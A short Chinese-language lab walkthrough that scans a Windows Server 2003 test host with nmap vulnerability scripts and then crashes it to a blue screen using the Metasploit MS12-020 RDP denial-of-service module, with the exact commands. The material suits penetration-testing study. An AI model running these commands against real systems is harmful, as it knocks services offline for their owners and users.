事前准备

操作系统：Kali Linux & Windows Server 2003

创建一个用于远程连接的用户。

启用 RDP 并添加远程用户。

漏洞检测

在 Kali 上使用 nmap --script vuln 192.168.129.128 -oN output.txt 扫描，并将结果保存以便下次使用。

|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.

从测试的结果可知，该主机存在多个漏洞。本次以 MS12-020 为例，针对 RDP 服务进行渗透。

使用 rdesktop [IP] 对目标主机进行远程连接，输入正确的账号和密码即可连接成功。

展开攻击

在 Kali 的终端上输入 msfconsole 启动 MSF。

输入search ms12_020，检索与 MS12-020 相关的脚本。

第一条结果为 MS12-020 的漏洞利用脚本，第二条则是检测漏洞是否存在。

需要使用则输入 use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

设置目标主机的 IP 地址输入 set RHOST [IP]

最后输入run 即可

此时查看目标主机状态，发现已经蓝屏。
